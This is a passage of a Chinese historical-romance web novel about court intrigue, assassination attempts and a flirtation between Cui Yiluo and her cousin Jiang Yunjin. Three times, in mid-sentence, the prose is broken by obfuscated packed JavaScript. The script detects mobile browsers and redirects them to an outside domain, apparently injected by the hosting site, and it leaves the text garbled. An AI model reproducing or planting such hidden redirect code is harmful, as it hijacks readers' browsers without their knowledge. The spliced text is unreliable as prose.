崔宜萝藏起眼里的警觉,浮起一丝疑惑之色:“这是什么意思?表哥是怀疑今日有人害我?” 江昀谨神情复杂。 对着男人凝重的俊脸,崔宜萝忍不住低下头抿唇笑了。 见他眉头皱了起来,崔宜萝的双眼闪着轻灵狡黠的水光,唇角微弯道:“表哥是在担心我吗?” 江昀谨冷下声:“我在认真同你说话。” 崔宜萝眨了眨眼,一派真诚:“我也是在认真地问表哥,表哥又为何不答我?” 江昀谨墨黑的眸盯着她,未说话,但显然已有些不悦。 顶着压迫视线,崔宜萝仍挂着笑,但正了语气:“表哥既然担心我,我自该认真回答表哥问题。” 被她一再打趣,江昀谨脸更沉,但顾及正事,也未出言训斥,用眼神示意她回答。 崔宜萝敛起笑意,似进入回想,脸色渐渐变沉,随后浮起犹豫和害怕:“其实一开始我也不太肯定是否自己不慎跌入水中,但表哥说后,我才细细一想,的确是有人推了我。表哥既有此问,可是查出什么来了?今日推我的人和上回的贼匪是同一方人?” 江昀谨眼底闪过一丝预料之中的果然。 崔宜萝捕捉到这点细微,果真如此,今日画舫上只有随侍和嘉公主的人,还有江杨二人,推她下水的人与那伙贼人是同一方。 见江昀谨沉吟不语,崔宜萝轻唤:“表哥?” 江昀谨薄唇微抿,神色严峻道:“今日他未得手,日后行事便不会再如今日显目,躲非长久之计,但减少出门较为稳妥,出门时也更谨慎些。若有必要,你可派人寻闻风。” 找闻风不就是找他?他一向和她保持距离,眼下为何要主动帮她? 不对劲。 他似乎能看透她的想法,带着解释的意味,又道:“你如今寄住江家,于情于理,我都应当确保你的安危。” 果真如此吗?崔宜萝不信。他帮她自然不可能是出于情意,他待人漠然,向来自扫门前雪,泾渭分明,也不可能为了礼义。 那么,只能是因为幕后之人。 崔宜萝垂着眼遮住了眼中阴晦,目光忽而停在了自己一直拉着他袖子的手。 上回紫薇树下,她也是这样拉着他的袖子,便被他敕令放手。只是这次他似是将心绪都放在正事上,竟没注意到她拉了这么久。 他江昀谨进退有节,克己复礼,是个不折不扣的君子。 可她崔宜萝偏偏是最会得寸进尺的人。 再抬起头时崔宜萝脸色已满是感动,眼里莹莹水色饱含情意:“多谢表哥,有表哥相帮,宜萝定会安然度过此劫。” 她说着,眼眶适时地微红,手指悄悄向前往江昀谨的手探去,似乎要牵他的手。 半边斗篷随着动作微微敞开,露出了一直掩在斗篷下因仓促而寻来换上的中衣,夏日衣裳用料单薄,玲珑身姿曲线若隐若现。 指尖缠上他手背的一瞬,江昀谨眸色一深,像是终于反应过来般躲开了手,顺势将斗篷一拉,半开的春色霎时闭合,一系列动作行云流水。 他大步退开一步,眼神锋利带着质问袭来,一寸寸冰冻住了她感激夹杂羞怯的脸。 江昀谨声音骤冷:“你是将我上回说的话都忘得一干二净了?” 崔宜萝仰起头,清澈的眼里满是无辜:“不过是感动之举,表哥何必如此生气恼怒?表哥与我不是表兄妹吗?” 她说得理所当然。 江昀谨面上似覆了一层霜:“七年男女不同席。崔姑娘,守礼的道理你应当明白,更遑论你我并非真正的表兄妹。” “你已定亲,更应自重。” 他一番话说得直白,不留任何情面,甚至改称她“崔姑娘”,最后一句话更是直接将崔宜萝钉在了原地。 崔宜萝明眸善睐,眼里像蕴了一湾清泉,叫人能清楚地看到她眼中的任何情绪,此刻眼底浮起的受伤分外明显,江昀谨抿了抿唇,垂在身侧的手指微动。 房中沉默了几息,江昀谨眼眸转看向门外:“记住我交待的事,我先走了。” 他转身后,崔宜萝脸上的委屈顿然消散,冷眼夹杂着一丝讽刺。 反应比前两次还激烈,碰一下似乎能要了他的命。她崔宜萝离经叛道,不明白他二十一年来究竟过的是什么日子,满心满口的礼义仁道,丝毫不觉得难以喘息吗? “表哥,”她叫住他:“表哥既不想看见我,为何还要帮我?” 江昀谨没有回头,颀长劲瘦的身影挡住门口的大部分光线,只听他声线平静:“既出言承诺,便没有反悔的道理。” 还真是个君子,崔宜萝讽刺地想。 男人已要踏出房外,脚步却倏地一顿,仿佛察觉到什么,然后迅速转身,大步走了回来。 剑眉沉沉压了下来,他曜黑的眼映着锋利的冷光:“躲起来,有人来了。” 有人来了? 崔宜萝不如习武之人听觉灵敏,她听不到的脚步声,江昀谨能听见,还能凭此猜测来人身量、是否习武。 他如此情急,说明那是来杀她的人! 她这才回过神,带太医下去开方子的宫女久久未归,分明是故意将她独自留在房中,宫女说贵妃吩咐一人也不能少,但江昀谨却能离开大殿,恐怕兰蕙二人也是故意被支走的。 可房里陈设简单又开旷,窗外是清乐湖的一角,哪有藏身之处? “来不及了。” 江昀谨又道。 看来只能藏在湖下了,起码能先拖上一阵。 崔宜萝刚想开口,腰间突然横上一只大手,将她搂入了他的怀里。 后背贴上他劲实胸膛的一瞬间,崔宜萝怔了一下,还未反应过来,江昀谨直接提着她的腰踏出了窗外。 原来墙面与湖水还接有一小块土壤,但狭小得仅容一人站立。 显然江昀谨也意识到了,搂在她腰间的手又紧了紧,这一下他们更紧密地嵌合在了一起,却又不得不如此。 他几乎是将她直抱起,崔宜萝背对着他看不见他的神情,只能看见眼前的湖水流动,还有束在她腰间劲实的手臂,他今日戴了护腕,不同于平日里着宽袍的劲瘦,利落的肌肉线条变得格外明显。 崔宜萝一只手覆了上去,看上去只是抓着以维持平衡,如她所料的,他整个身子都僵了不少,于是她又抓得更紧了些。 他环抱着她小心踩在狭窄的泥面上,挪到了侧边墙面。 这样即使对方往窗外看去,也看不到他们就藏在外面。 房内响起踏入的脚步声,崔宜萝后背紧贴着男人胸膛的左侧,他猛急的心跳一下又一下地,击打在她的后背,后背传来的热意更是滚烫。 崔宜萝微微转头,余光看到他刻意压制呼吸起伏的胸膛,还有以极小幅度滚了滚的喉结。 他以口型说:别动。 崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔宜萝咬着唇瓣屏住呼吸,他们刚刚发出的声响极其细微,竟也被徐公公收于耳中,可见他武功不低,甚至能称是高深莫测。 宫女应了一声,走到窗边。 “徐公公,外面是清乐湖,崔姑娘不像藏在此处。” 徐公公也走到窗边细看,但确实不见藏人的痕迹,他细思刚才听到的那一点动静,冷哼一声:“定然是跳湖凫水逃了!信报从未查出她会凫水,连凫水都要自个偷学,真是生性狡猾。哼,也不知随了谁。” 崔宜萝将话听得一清二楚,心内冷笑。 自是因为崔府于她而言是无法逃脱的虎狼之地,十二岁那年继母把她丢在野外后,她回府的第一件事便是想方设法偷偷学些防身之术,凫水便是那时学的。 房内徐公公边向外走边道:“走,沿着湖往下搜!” 二人快步离开,但不知是否有诈,崔宜萝和江昀谨皆默契地未动,甚至往墙挤贴得更紧。 直到房中久久未传来声响,二人才彻底放下心。 江昀谨正要收回手,却直直撞进了少女轻灵的眼睛。 大半张脸被他捂住,她只露出双灵动地漾着一丝笑意的眼睛。 但那笑意却像是嘲讽:你不是说,我定了亲,你我不是真正的表兄妹,不该逾矩。 那你,又在做什么呢? 10. 红酥手 日光渐渐浮现金色,已是接近日暮,清澈湖水潺潺流动,岸边男女在水中的倒影模糊,又暧昧。 高高殿墙下,男人背对着湖面,颀长的身形将怀中娇小的女子完全罩住,若非踩在泥土上的还有一双绣鞋,以及男人袍脚处未掩住而露出的斗篷一角,几乎以为只有一个人。 此刻他一手搂着她的腰,一手捂着她的脸,姿势比上回在山道上还要亲密暧昧。 江昀谨连忙将手撤回,“抱歉。” 崔宜萝体贴地说:“事急从权,我知表哥不得已而为之,既是不得已,便不算越过男女大防。” 她抬起头看他的表情,笑意中带着的兴致在日光下明晃晃的,江昀谨立刻别开了眼。 不仅如此,他还稍稍向后,避开了她抬头时轻轻蹭过他下巴的乌发,不知是觉得痒,还是太过亲密。 念及方才房中情形,崔宜萝收了笑:“表哥,徐公公口中的‘主子’是和嘉公主?” 江昀谨微微抿唇,“不知,但不是和嘉。” 崔宜萝轻轻皱眉,不是和嘉,能安插人在和嘉身边的人不多。那人一再出手,颇有些不死不休的味道,甚至还提前将她查了个干净。 崔宜萝暗暗睨向江昀谨,她能借他护住性命,但怕是不会告诉她背后真相,她只能靠自己。 江昀谨出声,打断了她的思绪:“此地不宜久留,我命人送你回府。” 崔宜萝转了转眸子,“可是姨母让我等她回来……” “我会告知婶母。” 崔宜萝皱了皱眉,一副苦恼之色:“但这样,旁人会不会觉得,是表哥担忧我身子不适,担忧到要亲自派人送我回府?” 江昀谨看了眼她的脚,“你的脚本就是我伤的,我自当负责。且我会避开人再告知婶母,不必担心。” 又是所谓礼义,崔宜萝心内哼笑一声。 “我原还担心毁了表哥的清名,既然表哥如此说了,那我自然是无后顾之忧,全听表哥的了。” 她嗓音清甜婉柔,说着,她的手顺着他的手背轻移,原先只有拇指与食指触碰到他腕间肌肤,这下将他的手掌全部握住了。 崔宜萝的指节缠着他的手指,指尖扣在他的掌心上,清晰感受到手下登时变得僵硬滚烫。 “你……” “表哥不先带我回房,怎么回府?”她无辜地眨了眨眼:“表哥可别将我摔了。” 江昀谨不说话了,下颌紧绷勒出锋利流畅的线条。 她感受到握着的手用力将她的腰搂紧,他带着她贴着墙面而行,从窗户又翻了回去。 几乎是一站稳,他就立刻松开她,站离她三步远。 崔宜萝唇角微勾:“多谢表哥。” 江昀谨低低嗯了一声,却听她又道:“表哥放心,表哥今日说的话,宜萝都记得,方才表哥只是出于表兄妹情谊。” 他说的话,自然是指男女七岁不同席那些。 眼下看来,莫名讽刺。他刚因她要牵他的手便斥她逾矩,让她守礼,可未过多久,他却让她牵了手,甚至,牵手都不是方才他们做的最亲密的事。 江昀谨手掌滚烫虚贴在腿侧,沉着脸,尽力将心思放在眼下的要事上。 “走,难保他们不会回头。” 点到即止,崔宜萝也未再往下说,点点头就要跟上,突然记起什么:“等等。” 江昀谨回头,见她快步走到红木矮案边,将叠好的玄色外袍托在手臂上,随后将斗篷揽好,跟了上来。 “表哥,可以走了。” “嗯。” 江昀谨显然对宫内布局很熟悉,带着她走的尽是偏僻近道,两侧不是高墙便是郁木,一路上连个人影都碰不到。 崔宜萝落后他半步跟着,微低着头沉思着。 差点忘了元凌的事了。 她试探道:“表哥,我前面看见你了,你是与元指挥使一道来的?” 江昀谨闻言微微侧目看向她:“你认识他?” 看来他不知道抱月阁的事。 崔宜萝不置可否:“元指挥使做事雷厉风行,又多谋善断,深得陛下信任,声名赫奕。” 江昀谨留意着四周,只轻轻嗯了声,看上去并不在意崔宜萝说的话。 且他守君子之礼,更加不会背后谈论旁人,即便崔宜萝说的是褒扬之语。 不过从他的反应来看,元凌不仅未将抱月阁的事告诉他,他们也不甚熟稔。 崔宜萝稍稍松了口气。 江昀谨也再未说话,二人又行了一阵,忽见不远处宫门巍峨,披甲禁卫列队巡防,禁卫森严。 江昀谨做事滴水不漏,早就安排好了车马,还派了人护送。 崔宜萝回府的路上又将方才发生的事盘了一遍,排除了江昭月和杨静菱二人,心中有了几个怀疑人选。 - 月凉如水,华丽宫殿的檐角处挂着的紫檀八角宫灯随风轻摇,殿内寂静,空气仿佛凝滞。明亮烛火旁,一个容貌秾丽,周身华贵的女子倚靠在榻边,身旁有一宫人为其轻轻打扇,但女子紧紧拧眉,支着头的手揉着额角。 女子缓缓启唇,声沉如水:“璎儿如何了?” “娘娘还不了解公主的脾性吗,公主虽现下闹得厉害,但过几日明白了娘娘爱女的苦心,还不是马上来找您请罪了?” 琼贵妃凤眼微睁,看向宫人。 那宫人摇扇的手一颤,连忙道:“映雪的意思是,娘娘对公主的好,公主定然能明白的。” 琼贵妃轻笑一声:“不过是让她别与崔家那丫头来往,就发那么大脾气,看来本宫平日里真是太纵容她了。映雪,明日一早你就带尚仪局的姑姑去公主宫里吧,公主快定亲了,也该收收心了。” 映雪应了一声。 “明日带些人去库房,将上回陛下赐的千年人参,再挑些贵重补品,连着那支缠丝点翠牡丹步摇一并送去谢府。” 映雪应下,“娘娘这是答应了大公子?” 琼贵妃讽笑:“能不答应他么?答应了还有瞒住的可能,不答应楚谢两家的联姻定会毁于一旦。” 说着,女子眉间染上薄怒,语调也不自觉变重:“我楚家怎就养出这种不知轻重的废物!” 映雪安抚道:“娘娘别担心,大公子方才不是答应了娘娘,一定会和那庶女断了的。” “你觉得可能吗?就他那风流性子,连未婚妻的庶妹都去招惹,会乖乖听本宫的?看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362322|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来本宫要让陛下尽快安排成婚,成了婚也少得本宫忧心。” “什么成婚?” 门口传来的浑厚男声吓得主仆二人皆是一颤。 琼贵妃几乎是下一瞬就带上了柔媚的笑,施施然上前行礼。 “见过陛下。” 皇帝四十有余,却不显苍老,步伐沉稳,浑身带着劲力,长臂一展就揽了女子的盈盈腰肢。 琼贵妃暗暗使了个眼色让难掩心虚之色的映雪退下,神色如常地随帝王在榻上坐下。 皇帝不轻不重地揉弄着琼贵妃的腰肢,随口问:“方才说什么婚事,可是恪儿的?” 琼贵妃娇笑道:“果真瞒不过陛下,可不是么?方才恪儿进宫,托妾求陛下定下他们的婚期呢。依妾看,今日谢姑娘不慎落水,恪儿心疼坏了,这才迫不及待地想把人娶回府中呢。” 皇帝嗯了一声,“今日谢姑娘落水一事,爱妃查的如何了?” 琼贵妃露出几分自责:“是妾管教下人无方,船上一宫人一时未站稳,竟不慎将谢姑娘撞入水中。陛下放心,妾已将人处理了。” 见她自责,皇帝心疼地哄:“此事怎能怪你,若要将人人都管到,岂不是要累坏朕的琼儿?” 琼贵妃娇嗔地打了一下帝王的臂膀,“陛下惯会娇纵人,妾既得了协理六宫之权,自该严格束己。” 皇帝笑着摸了摸她的秀发,“朕知你一向好强。对了,听说今日下水救人的是江二夫人的外甥女?” 琼贵妃看向皇帝,对上他如往常一般温柔宠爱的目光,他仿佛只是随口一问。 “是,崔姑娘毅勇,妾正想着该如何赏她呢,陛下可有主意?” 皇帝笑容无奈:“女儿家的喜好,朕哪能了解。但崔姑娘主动下水救人,不畏受伤,也不怕形容不佳,这样果敢怀善的姑娘,理应受赏。” “陛下的意思是?” “过几日的夏狩,便许她一同前往吧,听闻她来自宁州,想来从前也未骑马打猎过。” 琼贵妃倚在皇帝怀里笑起来,明艳的脸上带着几分对男人的仰慕,“陛下当真心善又聪明,妾未考虑到这一层,于崔姑娘而言,金银珠宝的确不如随陛下夏狩的经历珍贵。明日妾便派人去传陛下的恩典。” 皇帝对她的仰慕和婉柔很是受用,笑容深了不少,“不必,明日下朝朕令江慎之把话带到即可,不劳烦爱妃遣人跑一趟了。” 琼贵妃的笑意几不可察地僵了一瞬,立马掩下,柔声感念起皇帝的体贴来,一双柔荑往帝王玉带处探去。 夜渐深。 - 黎明时的雾气随日头渐高慢慢消散,夏日晨间的日光还未够炽热,而是带着适宜的温煦。 江昀谨下了朝,还未踏入香意微浮的小院内,里头的对话便随风传入耳里。 女子嗓音清泠:“元凌的外袍派人浆洗了吗?” “婢子已照姑娘所说吩咐下去了,元指挥使的外袍是今岁江南织造新产的珲罗缎,需得用温水轻洗,否则小心坏了衣料。” 崔宜萝满意地嗯了一声,平日里娇甜的声音沉静着,清晰传进门外男人的耳中: “见他的事不能拖,衣物送来后立刻套车去元府。” 11. 棋未收 商议完见元凌一事,院里又寂静下来,崔宜萝坐在花架下,右手执着书卷,继续看了起来,余光忽见院门外走进一个人。 崔宜萝神情意外:“表哥?” 他似乎是一下朝就径直来了她的院子,连官袍都未换下,这是她第二次见到他穿紫袍的模样,即便穿上这样浓烈的颜色,他的气质依旧难改清冷疏离,反倒多添几分贵气。 他面无表情,许是因为穿着官袍,比平日里隐隐多带一股威压。 崔宜萝看不出他的来意,“表哥怎么来了?荔兰,去沏壶君山银针来。”她笑道:“听闻表哥爱喝君山银针,我便向姨母多讨要了些。” 江昀谨眼中静如湖水,并不为她的留心而动容,淡淡道:“有心,不过不必,我说完便走。” 荔兰还是懂眼色地退了下去,小院里剩下他们二人。 崔宜萝水润的眼中闪着点点期待:“表哥,你想跟我说什么?” “陛下下令让你夏狩随行。” 崔宜萝怔了瞬,她原本打算随姨母去夏狩的,毕竟江昀谨虽是她选择中最为出众的,却也是最难得手的,她得为自己准备后手,即便最后不得不杀了程奉,和世家们打好关系亦百利无一害。 但有了荷花宴徐公公动手的事,两相权衡,她是要放弃这次夏狩的。 崔宜萝笑意一下灭了下去:“陛下怎会特意让我随行?” 江昀谨转述皇帝的话:“陛下听闻你昨日救下谢姑娘的事,特许嘉奖。” 真的是这么简单吗?崔宜萝暗暗窥看江昀谨的神色,他分明有其他的猜测,却不肯直言。 崔宜萝咬了咬唇,“表哥,我可以称病吗?” 江昀谨漆黑的眼眸中有几分凝重,“怕是不行。” 皇帝亲自下令,若称病太过刻意,这次夏狩她不得不去。 崔宜萝心绪一转:“表哥,夏狩人员混杂,又是在开阔山林中,岂不更方便徐公公他们动手。” 她忽而软了嗓音,带着几分恳求:“我到时可以跟着你吗?” “徐公公不在此次随行名单上。” 崔宜萝微愣,徐公公不在?定然是对方怕她察觉出推她落水的人是徐公公,特地将徐公公换下。 只听他又道:“你跟着我不合礼数。” 又是礼数。 崔宜萝心中嗤笑,正要再争取,却听他道:“我派了人暗中跟着你。” 语气中有一丝无奈,似乎本不打算将早就做好的安排告诉她,此刻告诉她,也无非是想尽快摆脱她。 罢了,差强人意。 崔宜萝面上扬起感激的笑:“多谢表哥。” 要令他这等从小奉行礼教,从不行差踏错的人抛开礼义束缚,本就难若登天。 不过江昭月曾吐露他做过违背礼教的出格之事,既有一次,那便会有第二次。 “表哥,你今日会待在府中吗?” “有事?” 似是怕人听去,崔宜萝走近一步,压低了声更显轻柔,气氛中浮起了几分暧昧。 “表哥昨日抱着我在湿滑的泥里撑了那么久,若表哥损伤了身子,我实是难辞其咎。所以炖了些补品……” 江昀谨喉结微动,径直打断她:“不必,我先走了。” 崔宜萝也不觉意外,长睫眨了眨,溢出几分委屈:“但表哥帮了我这么多,除了姨母一家,只有表哥一直在帮我,我怎能不答谢表哥?” 只有?当真只有他吗? 江昀谨缓缓启唇:“表妹的确诚心,不过不需要。” 崔宜萝不知他为何突然冷下脸,又觉得他话中有话,但又想不出自己方才哪里不妥。 她还未想出来,听到他再度开口,低沉的声音卷带着强烈压迫感,“昨日之事,以后别再提了。” 他态度急转直下得奇怪,崔宜萝更百思不得其解,但面上仍应道:“宜萝明白。” 男人微微颔首,利落地转身离去,看上去若不是奉帝命带话给她,绝对不会踏入她院子一步。 崔宜萝淡眼看他背影消失,又坐回了花架下,继续翻起书卷来,姿态平静闲适,仿佛方才什么都未发生过。 荔兰见江昀谨彻底离开才重新进来。 “姑娘何时说要炖补品了?可要婢子吩咐厨房?” 崔宜萝指尖划过书页,声线沉静:“不必,随口罢了,他才不会吃我的东西。” - 夏狩不止是狩猎游玩,更是皇帝联络群臣的重要手段,江昀谨作为天子近臣,夏狩将至便越发匆忙,每日早出晚归,崔宜萝虽脚伤大好,但江老夫人还是特意免去了她的晚间请安。 一连几日,她都未曾见到江昀谨。 转眼便至夏狩启程,这日惠风和畅,千里暮云平,郁绿绵延,炽阳打在沙土地上,马蹄掀起千里尘土。 自京城出发至越山约两三个时辰,帝后车架行在最前头,由云翊卫和禁军护送,其他郎君多骑马,女眷坐马车。 进了山中不如京城炎热,空中泛着淡淡的凉意,似乎是个舒适宜人的旅程。 崔宜萝随兰蕙坐在一起,兰蕙的丈夫,也就是崔宜萝的姨父江闻,任户部尚书,因而她们的车架较靠前。 江昭月和兰蕙每年的两次狩猎都随行,对路途早也没了新鲜感,崔宜萝是第一次随行,但一路上几乎没往窗外望过一眼。 她若有所思地看向马车的后壁,隔着一道木墙的是严实绑好的箱笼,元凌的衣袍洗净后整齐叠好了放在里面。 衣袍前两日便洗好了,在套好马车出府的前一刻,她忽而改变了主意。 至日暮时分,大队人马抵达越山营地。 狩猎于第二日正式开始,今日先行休整。 营帐排布也极为讲究,崔宜萝自然是和兰蕙一家排在一处,而江昀谨这等重臣的营帐排在皇帝附近。 荔兰回报营帐排布时,崔宜萝只淡淡应了句知道了。 未过多久,宫人便送来了晚膳。夏狩时的用膳和平日里大为不同,虽明日才正式开狩,但越山的宫人已捕了些猎物,以锋利金刀片下,大火炙烤。 送到江闻一房处的是兔肉和羊肉,鲜香四溢,江昭月吃着直赞个不停,扬言明日猎物定会比哥哥江明训多,顺道约上了崔宜萝一道狩猎。 崔宜萝没有打过猎,也未怎么用过炙肉,也就留着多用了一些。待用过晚膳回帐已是天色擦黑时分,她掀开帐帘,见到的却是荔兰一脸焦急地来回踱步。 “这是怎么了?” 荔兰迎上来,把手中叠好的信给崔宜萝,“姑娘,是程员外郎送来的,约姑娘明日申时在东边的溪旁见面。” 程奉之子程义,任吏部员外郎。 崔宜萝信拆都未拆,直接递回到荔兰手里,“不去。” 说完就往紫檀木榻上淡然一坐。 “但是……”荔兰想起程义派人传的话,一张脸揪了起来:“程员外郎说,若是姑娘不去,他便要将程监丞烫伤的真相说出,到时候姑娘名声尽毁,也别想嫁入程家。” 崔宜萝斟茶的手不停,淡然点了点头表示知道了。 荔兰一愣,“姑娘,你怎么一点不着急?若他真将茶里加了药这件事宣扬出去,可如何是好?” 崔宜萝轻笑一声:“我们何时加了药,加了什么药,他可有凭证?” 荔兰顿住。 “荔兰,不过是诈我们罢了,你未免也太不信任隋叔的药术了。他以此拿捏,无非是想我过门后别和他争程奉的财产,亦或是想和我里应外合,送他爹一程,免得夜长梦多。” 毕竟程奉在外风流,即便没有崔宜萝,也可能哪日就蹦出来一个幼弟。 短见薄识。 荔兰被这猜测吓了一跳,缓过神来后才道:“姑娘,那明日便不去了?” 崔宜萝慢条斯理将茶杯递至唇边,问:“程义派人过来时,可有旁人见到?” 荔兰回想片刻,摇了摇头:“没有,那时已开膳有一会儿,大家都在帐中用膳。” 崔宜萝饮了口茶,缓缓开口:“既如此,你告诉程义,我会去的。” “啊?”荔兰惊呼。 茶杯放在小案上发出一声极其轻微的脆响。 崔宜萝看着浅碧茶水里摇曳的烛火,继续道:“一会儿会有送果盘的宫人来,花些银两封口,换上她的衣服再出去。避开人,别让人看见了。再告诉元凌,明日申时,西边的候檎林见,就说上次多谢他,明日我将外袍还给他。记得也别让人看到。” 荔兰不解:“姑娘,既要利用元大人做证,为何要避开人?不是应该让人看到才好。” 崔宜萝眼底幽深:“不这样,怎么引蛇出洞。” 翌日。 山间雾气缓缓游散开,崔宜萝换上兰蕙送来的骑装,干劲利落,手中拿着马鞭便往昨日和江昭月约好的地点去。 营地侧的大片空地上,江昭月约着的几人已候在那儿了,并叫人将马都牵了出来。 崔宜萝依次打了招呼。 轮到谢曦云时,谢曦云感激而郑重地行了一礼:“崔姑娘,上次多谢你,若没有你我怕是要殒命湖中了。这些日子我被拘在家中养病,这才未登门道谢,请恕我失礼。” 崔宜萝连忙上前扶起她,“谢姑娘言重,令堂携了那么多礼前来已叫我受宠若惊了。” 谢曦云没有亲自上门,是因卧病在床,但谢家家风严正,礼数周全,荷花宴的第二日,谢曦云的母亲谢夫人便带了数个箱笼的礼登门道谢了。 谢曦云有些小心地问:“那那些东西,你喜欢吗?” 崔宜萝会意,“自然,特别是那套白玉绘牡丹茶具。” 其实崔宜萝真正喜欢的花卉是连翘,只是对外称喜牡丹,谢曦云应该是向江昭月打听了才特地挑的这套茶具。 喜好虽是假的,心意却是真的。较真起来,当时“下水”并不全算是她的意思。 她或许受不起谢曦云的一片诚心。 谢曦云笑起来,唇边的一对梨涡若隐若现:“你喜欢就好。” 谢曦云经此一遭,整个人都消瘦了一圈,看上去还有些闷闷不乐,即便是此刻笑着,眼里也依旧覆着阴云。 杨静菱也察觉出来,“曦云,你脸色不大好,是不是身子还未好全,不如今日你先回去歇着?” 谢曦云摇摇头:“你不是给我诊过脉吗?我无事的,只是昨日舟车劳顿还有些累。” 杨静菱皱皱眉还要再劝,忽闻不远处马蹄轻踏,项铃叮当作响。 循声一看,萧璎穿着一身绯红骑装,背着把精致小巧的角弓,身下骑着的小马通体雪白,马背上挂着箭囊,正欲往林中走。 她身边跟着一个身姿英挺的男子,身上的玄色骑装以金线绣出繁复精致的蟒纹,束发的紫金冠折射刺目的日光。他形貌昳丽,不同于其他男子的刚毅,而是带着几分阴沉,眼瞳乌黑若有深潭,炽光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362323|183742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映在他眼里也隐隐发寒。 二人也注意到了崔宜萝几人,萧璎先行拉了马过来,身后的男子睥睨了几人一眼,也跟了上来。 崔宜萝几人行礼:“见过五殿下,见过和嘉公主。” 举止贵气,又同萧璎一起,二人面容又有五六分相似,显然是萧璎的同母兄长,五皇子萧铮。 二人御马小跑过来,只余几步之遥时,萧璎似想起了什么,纠结地小脸一皱,拉了缰绳,停在了众人几步之遥外。 萧铮眼尾轻扫,也勒了马。 崔宜萝注意到他唇角以极小的幅度勾了勾。 萧铮感知敏锐,眼眸微转,就和她对上了视线。 崔宜萝还保持着行礼的姿势,半张脸垂在暗处,只抬了眼看他,萧铮则挺直坐在马背上睥睨垂目,发寒倨傲的眼神似视几人如蝼蚁。 玩味般的,他轻轻挑了挑眉。 另一边的萧璎没察觉到二人的小动作,“免礼吧。崔姑娘,你们这是打算去哪?” 崔宜萝收回视线,端着标致的笑:“禀殿下,臣女们正打算进林中打猎呢,殿下可要与我们一道?” 萧璎张张唇,却忽地神色一滞:“本宫要和哥哥约好了去北边,便不同你们一起了。” 崔宜萝笑了笑,仿佛听不出萧璎话语间的推拒,又道:“那殿下午后可得闲?臣女想邀殿下同去东边的溪边捕鱼。” 萧璎甚少捕鱼,一下来了兴致,差点就要点头,身旁的兄长忽目光凌厉地看来。要出口的话瞬间转了弯:“罢了,本宫并不精通捕鱼,崔姑娘还是自个去吧。” 邀请被拒,崔宜萝脸上仍旧端着笑:“是。” “妹妹,走吧。” 萧铮缓缓开口,拉了缰绳转马向林子的方向。 萧璎“哦”了一声,神情却是难掩失落。 直至二人带着仆从浩浩荡荡地离开,江昭月才忍不住问道:“表妹,我们何时约了捕鱼了?” 崔宜萝解释道:“表姐,是我听说溪边鲫鱼肥美,一时兴起,还未来得及告诉表姐。” 江昭月几人闻言都只觉她馋嘴,这才闲不住,唯有杨静菱正色叮嘱道:“宜萝,那你午后记得注意安全,多带些仆从,有事尽管来寻我们。” 崔宜萝认真应:“我会的。” 崔宜萝初次狩猎,但令人惊讶的是她收获并不少,江昭月几人也连连称奇。 兰蕙听闻她要去溪边捕鱼,又是一顿叮嘱,并亲自帮着收拾了护具。 用过午膳,崔宜萝未免被人看出,先行出发往东边走,直至见不到人影才调转马头转向候檎林。 日光流转,已是接近日暮时分,候檎林的树影垂在沙地上被拖得很长,女子纤细的身影和树影交织,暮光将她的侧脸镀上了一层金边。蓦然,地上又出现了一道影子,挺劲峻拔,是属于男人的。 “崔姑娘寻我。” 崔宜萝转脸看向来人,将手中拎着的木盒递了过去。 紫檀木散发着浅浅幽香,盒上刻着精致的花鸟纹样。元凌瞥了一眼就接了过来。 “崔姑娘派人躲躲藏藏地约我见面,不只是为了还衣袍这么简单吧?” “元指挥使灵心慧性,应当知晓我的来意。” 元凌牵唇笑了,“崔姑娘怎能笃定,我会帮你?” 崔宜萝坦然地和他对视,“如果你不帮我,想来我也没机会还衣袍给你吧?” 目光交触,元凌渐渐敛了笑意,正了神色。 “崔姑娘真是灵慧,与元某做个交易如何?” 此举正中崔宜萝下怀,有了利益牵扯,便不担心他不帮她。她微微颔首,示意元凌继续说。 元凌一手拨弄着腰间佩剑的剑穗,漫不经心道:“你抹在匕首上的迷药药效不错,你将药方给我,我便为你保守秘密。” 他压低了声音:“断不会让你那表哥知晓,也不会让任何人知晓。” “药不是我做的,不过我可以给你几包,能否仿出药方就看元大人的本事了。” 元凌剑眉微低,显然不太满意:“告诉我制药之人。” 崔宜萝冷笑:“元大人,我应承了制药人保密,你这是要让我做不义之人?” “崔姑娘何时守过礼义?若是守了,此次狩猎程奉程监丞便不会称病不来了。” 崔宜萝面色微变,“你查我?” 元凌神情露出点锋利来,像是利刃微微出了鞘,“云翊卫耳目通天,且要做交易,自然要知道对方底细。不过崔姑娘放心,即便是宫中太医也看不出用药的痕迹。元某只不过是侥幸对崔姑娘有些了解,这才估中了。” 崔宜萝冷下脸,对元凌为数不多的礼貌和温和褪了个干干净净,冷声道:“我不能反悔,只能给你几包药,你要还是不要?” 